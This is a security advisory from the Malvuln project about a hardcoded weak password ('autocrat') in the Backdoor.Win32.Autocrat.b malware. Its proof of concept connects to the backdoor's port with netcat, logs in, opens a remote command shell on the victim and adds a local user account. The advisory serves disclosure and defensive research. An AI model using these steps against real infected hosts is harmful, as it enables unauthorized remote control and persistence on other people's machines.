Backdoor.Win32.Autocrat.b / Weak Hardcoded Credentials

us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: Contact: Media: Backup media: Threat: Backdoor.Win32.Autocrat.b Vulnerability: Weak Hardcoded Credentials Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password. Family: Autocrat Type: PE32 MD5: 4262a8b52b902aa2e6bf02a156d1b8d4 Vuln ID: MVID-2022-0660 Dropped files: srvsupp.exe Disclosure: 11/24/2022 Exploit/PoC: C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536 Login:autocrat WinShell v5.0 (C)2002 ? for help CMD>? i Install r Remove p Path b reBoot d shutDown s Shell x eXit q Quit Download: CMD>http://.../srv.exe ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Victim\Desktop>whoami whoami desktop-2c3iqho\victim C:\Users\Victim\Desktop>net user apparitionsec 666 /add net user apparitionsec 666 /add The command completed successfully. C:\Users\Victim\Desktop> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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